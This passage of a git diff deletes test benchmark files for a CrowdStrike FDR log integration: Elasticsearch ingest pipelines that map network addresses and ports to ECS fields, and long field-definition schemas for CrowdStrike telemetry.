append_preserve_original_event_into_event_kind_c274f7a2 - field: event.kind - value: preserve_original_event - allow_duplicates: false diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/inbound_network.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/inbound_network.yml deleted file mode 100644 index eb0cf512b1..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/inbound_network.yml +++ /dev/null @@ -1,109 +0,0 @@ ---- -description: Pipeline for processing inbound network details -processors: - - set: - tag: destination_ip_from_currentlocalip_5ec76119 - if: ctx.destination?.ip == null && ctx.crowdstrike?.CurrentLocalIP != null - field: destination.ip - value: '{{{crowdstrike.CurrentLocalIP}}}' - - set: - tag: destination_ip_from_localip_5f25abed - if: ctx.destination?.ip == null && ctx.crowdstrike?.LocalIP != null - field: destination.ip - value: '{{{crowdstrike.LocalIP}}}' - - set: - tag: destination_ip_from_localaddressip4_c71b6775 - if: ctx.destination?.ip == null && ctx.crowdstrike?.LocalAddressIP4 instanceof List && ctx.crowdstrike.LocalAddressIP4.length > 0 - field: destination.ip - value: '{{{crowdstrike.LocalAddressIP4.0}}}' - - set: - tag: destination_ip_from_localaddressip6_d552cc47 - if: ctx.destination?.ip == null && ctx.crowdstrike?.LocalAddressIP6 instanceof List && ctx.crowdstrike.LocalAddressIP6.length > 0 - field: destination.ip - value: '{{{crowdstrike.LocalAddressIP6.0}}}' - - convert: - tag: convert_destination_ip_to_ip_559e911d - field: destination.ip - type: ip - ignore_missing: true - on_failure: - - remove: - tag: remove_destination_ip_7d606e5d - field: - - destination.ip - ignore_missing: true - - append: - tag: append_error_message_c754ca33 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - set: - tag: set_destination_address_a940017a - field: destination.address - copy_from: destination.ip - ignore_empty_value: true - - rename: - tag: rename_crowdstrike_LocalPort_to_destination_port_60fd7022 - field: crowdstrike.LocalPort - target_field: destination.port - ignore_missing: true - - rename: - tag: rename_crowdstrike_MAC_to_destination_mac_07d8427b - field: crowdstrike.MAC - target_field: destination.mac - ignore_missing: true - - rename: - tag: rename_crowdstrike_PhysicalAddress_to_destination_mac_bade699a - if: ctx.destination?.mac == null - field: crowdstrike.PhysicalAddress - target_field: destination.mac - ignore_missing: true - - convert: - tag: convert_crowdstrike_RemoteAddressIP4_to_ip_913ca686 - field: crowdstrike.RemoteAddressIP4 - type: ip - ignore_missing: true - on_failure: - - remove: - tag: remove_crowdstrike_RemoteAddressIP4_578bef43 - field: - - crowdstrike.RemoteAddressIP4 - ignore_missing: true - - append: - tag: append_error_message_263c65c6 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - rename: - tag: rename_crowdstrike_RemoteAddressIP4_to_source_ip_2b41d652 - field: crowdstrike.RemoteAddressIP4 - target_field: source.ip - ignore_missing: true - - convert: - tag: convert_crowdstrike_RemoteAddressIP6_to_ip_96d0c7bc - field: crowdstrike.RemoteAddressIP6 - type: ip - ignore_missing: true - on_failure: - - remove: - tag: remove_crowdstrike_RemoteAddressIP6_810cbb5b - field: - - crowdstrike.RemoteAddressIP6 - ignore_missing: true - - append: - tag: append_error_message_85851e5c - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - rename: - tag: rename_crowdstrike_RemoteAddressIP6_to_source_ip_f4aba960 - field: crowdstrike.RemoteAddressIP6 - target_field: source.ip - ignore_missing: true - - set: - tag: set_source_address_070d27e8 - field: source.address - copy_from: source.ip - ignore_empty_value: true - - rename: - tag: rename_crowdstrike_RemotePort_to_source_port_4c87dfc0 - field: crowdstrike.RemotePort - target_field: source.port - ignore_missing: true diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/outbound_network.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/outbound_network.yml deleted file mode 100644 index 382ecde3f5..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/outbound_network.yml +++ /dev/null @@ -1,109 +0,0 @@ ---- -description: Pipeline for processing outbound network details -processors: - - set: - tag: source_ip_from_currentlocalip_dc8d0d2d - if: ctx.source?.ip == null && ctx.crowdstrike?.CurrentLocalIP != null - field: source.ip - value: '{{{crowdstrike.CurrentLocalIP}}}' - - set: - tag: source_ip_from_localip_005159a1 - if: ctx.source?.ip == null && ctx.crowdstrike?.LocalIP != null - field: source.ip - value: '{{{crowdstrike.LocalIP}}}' - - set: - tag: source_ip_from_localaddressip4_bf550fb1 - if: ctx.source?.ip == null && ctx.crowdstrike?.LocalAddressIP4 instanceof List && ctx.crowdstrike.LocalAddressIP4.length > 0 - field: source.ip - value: '{{{crowdstrike.LocalAddressIP4.0}}}' - - set: - tag: source_ip_from_localaddressip6_615c3693 - if: ctx.source?.ip == null && ctx.crowdstrike?.LocalAddressIP6 instanceof List && ctx.crowdstrike.LocalAddressIP6.length > 0 - field: source.ip - value: '{{{crowdstrike.LocalAddressIP6.0}}}' - - convert: - tag: convert_source_ip_to_ip_4084ea08 - field: source.ip - type: ip - ignore_missing: true - on_failure: - - remove: - tag: remove_source_ip_178b5ee1 - field: - - source.ip - ignore_missing: true - - append: - tag: append_error_message_b943fc68 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - set: - tag: set_source_address_070d27e8 - field: source.address - copy_from: source.ip - ignore_empty_value: true - - rename: - tag: rename_crowdstrike_LocalPort_to_source_port_38b3032d - field: crowdstrike.LocalPort - target_field: source.port - ignore_missing: true - - rename: - tag: rename_crowdstrike_MAC_to_source_mac_41d0f60c - field: crowdstrike.MAC - target_field: source.mac - ignore_missing: true - - rename: - tag: rename_crowdstrike_PhysicalAddress_to_source_mac_92994720 - if: ctx.source?.mac == null - field: crowdstrike.PhysicalAddress - target_field: source.mac - ignore_missing: true - - convert: - tag: convert_crowdstrike_RemoteAddressIP4_to_ip_913ca686 - field: crowdstrike.RemoteAddressIP4 - type: ip - ignore_missing: true - on_failure: - - remove: - tag: remove_crowdstrike_RemoteAddressIP4_578bef43 - field: - - crowdstrike.RemoteAddressIP4 - ignore_missing: true - - append: - tag: append_error_message_263c65c6 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - rename: - tag: rename_crowdstrike_RemoteAddressIP4_to_destination_ip_92030b2f - field: crowdstrike.RemoteAddressIP4 - target_field: destination.ip - ignore_missing: true - - convert: - tag: convert_crowdstrike_RemoteAddressIP6_to_ip_96d0c7bc - field: crowdstrike.RemoteAddressIP6 - type: ip - ignore_missing: true - on_failure: - - remove: - tag: remove_crowdstrike_RemoteAddressIP6_810cbb5b - field: - - crowdstrike.RemoteAddressIP6 - ignore_missing: true - - append: - tag: append_error_message_85851e5c - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - rename: - tag: rename_crowdstrike_RemoteAddressIP6_to_destination_ip_437bcd59 - field: crowdstrike.RemoteAddressIP6 - target_field: destination.ip - ignore_missing: true - - set: - tag: set_destination_address_a940017a - field: destination.address - copy_from: destination.ip - ignore_empty_value: true - - rename: - tag: rename_crowdstrike_RemotePort_to_destination_port_4c4d0f5d - field: crowdstrike.RemotePort - target_field: destination.port - ignore_missing: true diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/base-fields.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/base-fields.yml deleted file mode 100644 index 40140d2dec..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/base-fields.yml +++ /dev/null @@ -1,54 +0,0 @@ -- external: ecs - name: ecs.version - type: constant_keyword - value: 8.17.0 -- name: input.type - type: keyword -- name: log.offset - type: long -- name: data_stream.type - type: constant_keyword - description: Data stream type. -- name: data_stream.dataset - type: constant_keyword - description: Data stream dataset. -- name: data_stream.namespace - type: constant_keyword - description: Data stream namespace. -- name: event.module - type: constant_keyword - description: Event module - value: crowdstrike -- name: event.dataset - type: constant_keyword - description: Event dataset - value: crowdstrike.fdr -- name: '@timestamp' - type: date - description: Event timestamp. -- external: ecs - name: observer.vendor - type: constant_keyword - value: crowdstrike -- external: ecs - name: observer.type - type: constant_keyword - value: agent -- name: aws.s3 - type: group - fields: - - name: bucket - type: group - fields: - - name: name - type: keyword - description: The AWS S3 bucket name. - - name: arn - type: keyword - description: The AWS S3 bucket ARN. - - name: object - type: group - fields: - - name: key - type: keyword - description: The AWS S3 Object key. diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/ecs.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/ecs.yml deleted file mode 100644 index ff12841373..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/ecs.yml +++ /dev/null @@ -1,255 +0,0 @@ -# Remove this file when kibana.version satisfied ^8.14. -- external: ecs - name: destination.address -- external: ecs - name: destination.as.number -- external: ecs - name: destination.as.organization.name -- external: ecs - name: destination.geo.city_name -- external: ecs - name: destination.geo.continent_name -- external: ecs - name: destination.geo.country_iso_code -- external: ecs - name: destination.geo.country_name -- external: ecs - name: destination.geo.location -- external: ecs - name: destination.geo.region_iso_code -- external: ecs - name: destination.geo.region_name -- external: ecs - name: destination.ip -- external: ecs - name: destination.port -- external: ecs - name: device.id -- external: ecs - name: dns.question.name -- external: ecs - name: dns.question.registered_domain -- external: ecs - name: dns.question.subdomain -- external: ecs - name: dns.question.top_level_domain -- external: ecs - name: dns.question.type -- external: ecs - name: dns.type -- external: ecs - name: event.action -- external: ecs - name: event.category -- external: ecs - name: event.created -- external: ecs - name: event.id -- external: ecs - name: event.kind -- external: ecs - name: event.original -- external: ecs - name: event.outcome -- external: ecs - name: event.timezone -- external: ecs - name: event.type -- external: ecs - name: file.device -- external: ecs - name: file.directory -- external: ecs - name: file.drive_letter -- external: ecs - name: file.extension -- external: ecs - name: file.hash.sha256 -- external: ecs - name: file.inode -- external: ecs - name: file.name -- external: ecs - name: file.path -- external: ecs - name: file.size -- external: ecs - name: file.type -- external: ecs - name: group.id -- external: ecs - name: host.geo.city_name -- external: ecs - name: host.geo.continent_name -- external: ecs - name: host.geo.country_name -- external: ecs - name: host.geo.timezone -- external: ecs - name: host.domain -- external: ecs - name: host.hostname -- external: ecs - name: host.ip -- external: ecs - name: host.name -- external: ecs - name: log.file.path -- external: ecs - name: network.community_id -- external: ecs - name: network.direction -- external: ecs - name: network.iana_number -- external: ecs - name: network.transport -- external: ecs - name: observer.geo.city_name -- external: ecs - name: observer.geo.continent_name -- external: ecs - name: observer.geo.country_iso_code -- external: ecs - name: observer.geo.country_name -- external: ecs - name: observer.geo.location -- external: ecs - name: observer.geo.region_iso_code -- external: ecs - name: observer.geo.region_name -- external: ecs - name: observer.ip -- external: ecs - name: observer.serial_number -- external: ecs - name: observer.version -- external: ecs - name: host.os.type -- external: ecs - name: host.os.version -- external: ecs - name: process.args -- external: ecs - name: process.args_count -- external: ecs - name: process.command_line -- external: ecs - name: process.end -- external: ecs - name: process.entity_id -- external: ecs - name: process.executable - multi_fields: - - name: caseless - ignore_above: 1024 - normalizer: lowercase - type: keyword - - name: text - type: match_only_text -- external: ecs - name: process.name - multi_fields: - - name: caseless - ignore_above: 1024 - normalizer: lowercase - type: keyword - - name: text - type: match_only_text -- external: ecs - name: process.exit_code -- name: process.group.id - type: keyword -- external: ecs - name: process.hash.md5 -- external: ecs - name: process.hash.sha256 -- external: ecs - name: process.parent.entity_id -- external: ecs - name: process.parent.name -- external: ecs - name: process.pgid -- external: ecs - name: process.pid -- external: ecs - name: process.start -- external: ecs - name: process.thread.id -- external: ecs - name: process.title -- external: ecs - name: process.uptime -- external: ecs - name: related.hash -- external: ecs - name: related.hosts -- external: ecs - name: related.ip -- external: ecs - name: related.user -- external: ecs - name: server.address -- external: ecs - name: server.domain -- external: ecs - name: server.registered_domain -- external: ecs - name: server.subdomain -- external: ecs - name: server.top_level_domain -- external: ecs - name: source.address -- external: ecs - name: source.as.number -- external: ecs - name: source.as.organization.name -- external: ecs - name: source.geo.city_name -- external: ecs - name: source.geo.continent_name -- external: ecs - name: source.geo.country_iso_code -- external: ecs - name: source.geo.country_name -- external: ecs - name: source.geo.location -- external: ecs - name: source.geo.region_iso_code -- external: ecs - name: source.geo.region_name -- external: ecs - name: source.ip -- external: ecs - name: source.mac -- external: ecs - name: source.port -- external: ecs - name: tags -- external: ecs - name: url.domain -- external: ecs - name: url.extension -- external: ecs - name: url.original -- external: ecs - name: url.path -- external: ecs - name: url.registered_domain -- external: ecs - name: url.scheme -- external: ecs - name: url.subdomain -- external: ecs - name: url.top_level_domain -- external: ecs - name: user.domain -- external: ecs - name: user.email -- external: ecs - name: user.full_name -- external: ecs - name: user.group.id -- external: ecs - name: user.id -- external: ecs - name: user.name diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/fields.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/fields.yml deleted file mode 100644 index cb9381b02f..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/fields.yml +++ /dev/null @@ -1,2060 +0,0 @@ -- name: observer.address - type: keyword -- name: crowdstrike - type: group - fields: - - name: __mv_LocalAddressIP4 - type: keyword - - name: __mv_aip - type: keyword - - name: __mv_discoverer_aid - type: keyword - - name: aid - type: keyword - - name: AccessType - type: keyword - - name: AccountDomain - type: match_only_text - - name: AccountObjectGuid - type: match_only_text - - name: AccountObjectSid - type: match_only_text - - name: AccountType - type: keyword - - name: ActiveDirectoryAuthenticationMethod - type: keyword - - name: ActivityId - type: keyword - - name: AddressFamily - type: keyword - - name: AdminStatus - type: keyword - - name: AgentIdString - type: keyword - - name: AgentLoadFlags - type: keyword - - name: AgentLocalTime - type: date - - name: AgentTimeOffset - type: float - - name: AgentVersion - type: keyword - - name: AggregateId - type: keyword - - name: AllocateVirtualMemoryCount - type: long - - name: AllowlistingFilterId - type: keyword - - name: ApiReturnValue - type: keyword - - name: ApplicationName - type: match_only_text - - name: ArchiveFileWrittenCount - type: long - - name: AsepClass - type: keyword - - name: AsepFlags - type: keyword - - name: AsepIndex - type: keyword - - name: AsepValueType - type: keyword - - name: AsepWrittenCount - type: long - - name: AssociatedFile - type: keyword - - name: Attacks - type: group - fields: - - name: Tactic - type: keyword - - name: Technique - type: keyword - - name: AttemptNumber - type: long - - name: AuthenticationActivityId - type: keyword - - name: AuthenticationId - type: keyword - - name: AuthenticationPackage - type: keyword - - name: AuthenticationUuid - type: keyword - - name: AuthenticationUuidAsString - type: keyword - - name: AuthenticodeHashData - type: keyword - - name: AuthenticodeHashDataSHA256 - type: keyword - - name: BaseReachableTime - type: keyword - - name: BinaryExecutableWrittenCount - type: long - - name: BiosChanged - type: match_only_text - - name: BiosManufacturer - type: keyword - - name: BiosReleaseDate - type: date - - name: BiosVersion - type: keyword - - name: BluetoothClassOfDeviceValue - type: match_only_text - - name: BluetoothDeviceAppearanceValue - type: match_only_text - - name: BluetoothDeviceModelNumber - type: match_only_text - - name: BluetoothDeviceName - type: match_only_text - - name: BluetoothServiceName_1 - type: match_only_text - - name: BluetoothServiceName_3 - type: match_only_text - - name: BluetoothServiceName_4 - type: match_only_text - - name: BluetoothServiceName_5 - type: match_only_text - - name: BluetoothServiceName_6 - type: match_only_text - - name: BluetoothServiceName_7 - type: match_only_text - - name: BluetoothServiceName_8 - type: match_only_text - - name: BluetoothServiceUuidArray - type: match_only_text - - name: BluetoothServiceUuid_1 - type: match_only_text - - name: BluetoothServiceUuid_2 - type: match_only_text - - name: BluetoothServiceUuid_3 - type: match_only_text - - name: BluetoothServiceUuid_4 - type: match_only_text - - name: BluetoothServiceUuid_5 - type: match_only_text - - name: BluetoothServiceUuid_6 - type: match_only_text - - name: BluetoothServiceUuid_7 - type: match_only_text - - name: BluetoothServiceUuid_8 - type: match_only_text - - name: BluetoothVendorIdSource - type: match_only_text - - name: BootArgs - type: keyword - - name: BootTimeFunctionalityLevel - type: keyword - - name: BoundedCount - type: long - - name: BoundingLimitCount - type: long - - name: BoundingLimitDuration - type: keyword - - name: BundleID - type: keyword - - name: CapPrm - type: keyword - - name: CertificateIssuer - type: keyword - - name: CertificatePublisher - type: keyword - - name: CertificateSignatureHash - type: keyword - - name: CertificateSignatureHashAlgorithm - type: keyword - - name: CLICreationCount - type: long - - name: CallStackModuleNames - type: keyword - - name: CallStackModuleNamesVersion - type: version - - name: ChangedPcrBitmap - type: match_only_text - - name: ChangeTime - type: date - - name: ChannelDiffStatus - type: keyword - - name: ChannelId - type: keyword - - name: ChannelVersion - type: keyword - - name: ChannelVersionRequired - type: keyword - - name: ChasisManufacturer - type: keyword - - name: ChassisType - type: keyword - - name: ClientComputerName - type: keyword - - name: ClientId - type: match_only_text - - name: CloudIndicator - type: boolean - - name: CNAMERecords - type: keyword - # - name: crowdstrike.CommandCount - # type: long - - name: CommandCount - type: match_only_text - # - name: crowdstrike.CommandCountMax - # type: long - - name: CommandCountMax - type: match_only_text - - name: CommandHistory - type: keyword - multi_fields: - - name: text - type: match_only_text - - name: CompletionEventId - type: keyword - - name: CompositeId - type: keyword - description: Global unique identifier that identifies a unique alert. - - name: ConHostId - type: keyword - - name: ConHostProcessId - type: keyword - - name: ConfigBuild - type: keyword - - name: ConfigIDBase - type: keyword - - name: ConfigIDBuild - type: keyword - - name: ConfigIDPlatform - type: keyword - - name: ConfigStateData - type: text - - name: ConfigStateHash - type: keyword - - name: ConfigurationDescriptorName - type: match_only_text - - name: ConfigurationVersion - type: keyword - - name: ConnectTime - type: date - - name: ConnectType - type: keyword - - name: ConnectionAddressIP6 - type: match_only_text - - name: ConnectionFlags - type: keyword - - name: ContextBaseFileName - type: keyword - - name: ContextProcessId - type: keyword - - name: ContextTimeStamp - type: date - description: System local time of event creation. - - name: CpuClockSpeed - type: keyword - - name: CpuFeaturesMask - type: keyword - - name: CpuProcessorName - type: keyword - - name: CpuSignature - type: keyword - - name: CpuVendor - type: keyword - - name: CreateProcessCount - type: long - - name: CreateProcessType - type: keyword - - name: CompanyName - type: keyword - - name: ConnectionType - type: keyword - - name: ContentSHA256HashData - type: keyword - - name: ContextImageFileName - type: keyword - - name: CurrentFunctionalityLevel - type: keyword - - name: CurrentLocalIP - type: ip - - name: CustomerIdString - type: keyword - - name: CycleTime - type: long - - name: DadState - type: keyword - - name: DadTransmits - type: keyword - - name: Data1 - type: keyword - - name: DataDomains - type: keyword - - name: DcNumAttachments - type: match_only_text - - name: DcNumBlockingPolicies - type: match_only_text - - name: Description - type: keyword - - name: DesiredAccess - type: keyword - - name: DetectDescription - type: keyword - - name: DetectId - type: keyword - - name: DetectName - type: keyword - - name: DeviceId - type: keyword - - name: DeviceMountCounter - type: long - - name: DevicePropertyClassGuid - type: match_only_text - - name: DevicePropertyClassName - type: match_only_text - - name: DevicePropertyLocationInformation - type: match_only_text - - name: DirectionType - type: keyword - - name: DirectoryCreatedCount - type: long - - name: DirectoryEnumeratedCount - type: long - - name: DllCharacteristics - type: keyword - - name: DnsRequestCount - type: long - - name: DnsRequests - type: nested - description: | - Detected DNS requests done by a process. - - name: DnsResponseType - type: keyword - - name: DocumentFileWrittenCount - type: long - - name: DomainSid - type: keyword - - name: DownloadPath - type: keyword - - name: DownloadPort - type: long - - name: DownloadServer - type: keyword - - name: DriverLoadFlags - type: keyword - - name: DualRequest - type: keyword - - name: DylibPath - type: match_only_text - - name: ELFSubType - type: keyword - - name: EffectiveTransmissionClass - type: keyword - - name: EfiVariableCustomModeAttributes - type: match_only_text - - name: EfiVariableDbAttributes - type: match_only_text - - name: EfiVariableDbSha256Hash - type: match_only_text - - name: EfiVariableKekAttributes - type: match_only_text - - name: EfiVariableKekSha256Hash - type: match_only_text - - name: EfiVariablePkAttributes - type: match_only_text - - name: EfiVariablePkSha256Hash - type: match_only_text - - name: EfiVariableSecureBootAttributes - type: match_only_text - - name: EfiVariableSetupMode - type: match_only_text - - name: EfiVariableSetupModeAttributes - type: match_only_text - - name: EfiVariableSignatureSupport - type: match_only_text - - name: EfiVariableSignatureSupportAttributes - type: match_only_text - - name: EnabledPrivilegesBitmask - type: keyword - - name: EndTime - type: date - - name: Entitlements - type: keyword - - name: EnvironmentVariableName - type: keyword - - name: EnvironmentVariablesString - type: match_only_text - - name: EnvironmentVariableValue - type: keyword - - name: ErrorCode - type: keyword - - name: ErrorStatus - type: keyword - - name: EtwRawProcessId - type: long - - name: EtwRawThreadId - type: long - - name: EventCorrelationId - type: keyword - - name: EventOrigin - type: integer - - name: EventType - type: keyword - - name: EventUUID - type: keyword - - name: ExceptionAddress - type: keyword - - name: ExceptionCode - type: keyword - - name: ExceptionInformation0 - type: keyword - - name: ExclusionSource - type: keyword - - name: ExclusionType - type: keyword - - name: ExeAndServiceCount - type: long - - name: ExecutableBytes - type: match_only_text - - name: ExecutableDeletedCount - type: long - - name: ExtendedAttributeValue - type: match_only_text - - name: ExtendedAttributeValueReadable - type: match_only_text - - name: ExtendedKeyUsages - type: keyword - - name: ExternalApiType - type: keyword - - name: FXFileSize - type: keyword - - name: Facility - type: keyword - - name: FailedConnectCount - type: long - - name: FalconGroupingTags - type: keyword - - name: FalconHostLink - type: keyword - - name: FeatureExtractionVersion - type: keyword - - name: FeatureVector - type: match_only_text - - name: File - type: keyword - - name: FileAttributes - type: keyword - - name: FileCategory - type: keyword - - name: FileContent - type: match_only_text - - name: FileDeletedCount - type: long - - name: FileEcpBitmask - type: keyword - - name: FileName - type: keyword - - name: FileObject - type: keyword - - name: FileOperatorSid - type: keyword - - name: FilePath - type: keyword - - name: FileSigningTime - type: keyword - - name: FileSubType - type: keyword - - name: FileSystemOperationType - type: keyword - - name: FileVaultIsEnabled - type: match_only_text - - name: FileVersion - type: keyword - - name: FilesAccessed - type: group - fields: - - name: FileName - type: keyword - - name: FilePath - type: keyword - - name: Timestamp - type: date - - name: FilesWritten - type: group - fields: - - name: FileName - type: keyword - - name: FilePath - type: keyword - - name: Timestamp - type: date - - name: FileWrittenFlags - type: keyword - - name: FirewallAction - type: keyword - - name: FirewallOption - type: keyword - - name: FirewallOptionNumericValue - type: keyword - - name: FirewallProfile - type: keyword - - name: FirewallRule - type: keyword - - name: FirewallRuleId - type: keyword - - name: FirmwareAnalysisEclConsumerInterfaceVersion - type: keyword - - name: FirmwareAnalysisEclControlInterfaceVersion - type: keyword - - name: FirstCommand - type: match_only_text - - name: FirstDiscoveredDate - type: date - - name: FirstIP4Record - type: keyword - - name: FirstSeen - type: date - - name: FixedFileVersion - type: keyword - - name: Flags - type: keyword - - name: FltCallbackData - type: keyword - - name: FltCompletionContext - type: keyword - - name: FltRelatedObjects - type: keyword - - name: FontBuffer - type: keyword - - name: FontBufferLength - type: keyword - - name: FontFileCount - type: long - - name: FontFileName - type: keyword - - name: FontLoadOperation - type: keyword - - name: FsOperationClassification - type: keyword - - name: FsOperationClassificationFlags - type: keyword - - name: FullExceptionRecord - type: keyword - - name: GenericFileWrittenCount - type: long - - name: GrandParentBaseFileName - type: keyword - - name: GrandparentCommandLine - type: keyword - multi_fields: - - name: text - type: match_only_text - - name: GrandparentImageFileName - type: keyword - - name: GrandparentImageFilePath - type: keyword - - name: GroupRid - type: keyword - - name: HandleCreateAuthenticationId - type: keyword - - name: HandleCreated - type: keyword - - name: HashAlgorithm - type: keyword - - name: HostGroups - type: keyword - - name: HostHiddenStatus - type: keyword - - name: HostProcessType - type: keyword - - name: HttpInternalSource - type: match_only_text - - name: HttpMethod - type: match_only_text - - name: HttpRequestHeader - type: match_only_text - - name: HttpUrl - type: match_only_text - - name: IcmpCode - type: keyword - - name: IcmpType - type: keyword - - name: IfType - type: keyword - - name: ImageCheckSum - type: keyword - - name: ImageEntryPoint - type: keyword - - name: ImageFileName - type: keyword - - name: ImageSignatureLevel - type: keyword - - name: ImageSignatureType - type: keyword - - name: ImageTimeStamp - type: keyword - - name: ImpersonatedUserName - type: keyword - - name: InBroadcastOctets - type: keyword - - name: InjectedDll - type: keyword - - name: InjectedThreadFlag - type: keyword - - name: InMulticastOctets - type: keyword - - name: InNUcastPkts - type: keyword - - name: InterfaceDescription - type: keyword - - name: InterfaceFlags - type: keyword - - name: InterfaceIdentifier - type: keyword - - name: InterfaceMtu - type: keyword - - name: InUcastOctets - type: keyword - - name: IOCType - type: keyword - - name: IOCValue - type: keyword - - name: IOServiceClass - type: keyword - - name: IOServiceName - type: keyword - - name: IOServicePath - type: keyword - - name: IP4Records - type: keyword - - name: IpEntryFlags - type: keyword - - name: ImageSubsystem - type: keyword - - name: InContext - type: keyword - - name: InDiscards - type: keyword - - name: InErrors - type: keyword - - name: InMulticastPkts - type: keyword - - name: InOctets - type: keyword - - name: InUcastPkts - type: keyword - - name: InUnknownProtos - type: keyword - - name: IndividualDiskInfo - type: match_only_text - - name: Information - type: keyword - - name: InjectedDllCount - type: long - - name: InjectedThreadCount - type: long - - name: InstanceMetadata - type: match_only_text - - name: InstanceMetadataSignature - type: match_only_text - - name: IntegrityLevel - type: keyword - - name: InterfaceAlias - type: keyword - - name: InterfaceGuid - type: keyword - - name: InterfaceIndex - type: long - - name: InterfaceKind - type: match_only_text - - name: InterfaceType - type: keyword - - name: InterfaceVersion - type: keyword - - name: IrpFlags - type: keyword - - name: IsOnNetwork - type: keyword - - name: IsOnRemovableDisk - type: keyword - - name: IsProcessInitializing - type: keyword - - name: IsTransactedFile - type: keyword - - name: IsUnique - type: keyword - - name: KernelTime - type: long - - name: KeyObject - type: match_only_text - - name: LanguageId - type: keyword - - name: LastAdded - type: match_only_text - - name: LastDiscoveredBy - type: keyword - - name: LastDisplayed - type: match_only_text - - name: LastLoggedOnHost - type: keyword - - name: LastPendingUpdateInstalledTime - type: match_only_text - - name: LaunchItemType - type: match_only_text - - name: LaunchItemUrl - type: match_only_text - - name: LdapSearchFilterSample - type: match_only_text - - name: LfoUploadFlags - type: keyword - - name: LightningLatencyState - type: keyword - - name: Line - type: keyword - - name: LinkLocalAddressBehavior - type: keyword - - name: LinkLocalAddressTimeout - type: keyword - - name: LocalAddressIP4 - type: ip - - name: LocalAddressIP6 - type: ip - - name: LocalAddressMaskIP4 - type: keyword - - name: LocalAddressMaskIP6 - type: keyword - - name: LocalIpAddressPipelineSource - type: keyword - - name: LocalAdminAccess - type: keyword - - name: LocalIP - type: ip - - name: LocalIPv6 - type: ip - - name: LogicalCoreCount - type: long - - name: LoginSessionId - type: keyword - - name: LogoffTime - type: date - - name: LogonDomain - type: keyword - - name: LogonId - type: keyword - - name: LogonInfo - type: keyword - - name: LogonServer - type: keyword - - name: LogonTime - type: date - - name: LogonType - type: keyword - - name: MACAddress - type: keyword - - name: MACPrefix - type: keyword - - name: MD5String - type: keyword - - name: MLModelVersion - type: keyword - - name: MachOSubType - type: keyword - - name: MajorFunction - type: keyword - - name: MajorVersion - type: keyword - - name: Malicious - type: keyword - - name: ManagedPdbBuildPath - type: match_only_text - - name: MappedFromUserMode - type: keyword - - name: MaxReassemblySize - type: keyword - - name: MaxRouterAdvertisementInterval - type: keyword - - name: MaxThreadCount - type: long - - name: MediaConnectState - type: keyword - - name: MediaType - type: keyword - - name: MemoryAvailable - type: match_only_text - - name: Metric - type: keyword - - name: MD5HashData - type: keyword - - name: MemoryTotal - type: keyword - - name: MicrocodeSignature - type: keyword - - name: MinorFunction - type: keyword - - name: MinorVersion - type: keyword - - name: MinRouterAdvertisementInterval - type: keyword - - name: ModuleCharacteristics - type: keyword - - name: ModuleSize - type: keyword - - name: MmioDataGenPmconB - type: match_only_text - - name: MmioDataSmiEn - type: match_only_text - - name: MmioDataTco1Cnt - type: match_only_text - - name: MoboManufacturer - type: keyword - - name: MoboProductName - type: keyword - - name: ModelPrediction - type: keyword - - name: ModuleLoadCount - type: long - - name: ModuleLoadTelemetryClassification - type: keyword - - name: NDRoot - type: keyword - - name: NegateInterface - type: keyword - - name: NegateLocalAddress - type: keyword - - name: NegateRemoteAddress - type: keyword - - name: NeighborList - type: keyword - - name: NeighborName - type: keyword - - name: NetLuidIndex - type: long - - name: NetworkAccesses - type: group - fields: - - name: AccessTimestamp - type: keyword - - name: AccessType - type: keyword - - name: ConnectionDirection - type: keyword - - name: IsIPV6 - type: keyword - - name: LocalAddress - type: keyword - - name: LocalPort - type: keyword - - name: Protocol - type: keyword - - name: RemoteAddress - type: keyword - - name: RemotePort - type: keyword - - name: NetworkBindCount - type: long - - name: NetworkCapableAsepWriteCount - type: long - - name: NetworkCloseCount - type: long - - name: NetworkConnectCount - type: long - - name: NetworkConnectCountUdp - type: long - - name: NetworkContainmentState - type: keyword - - name: NetworkGuid - type: keyword - - name: NetworkInterfaceGuid - type: keyword 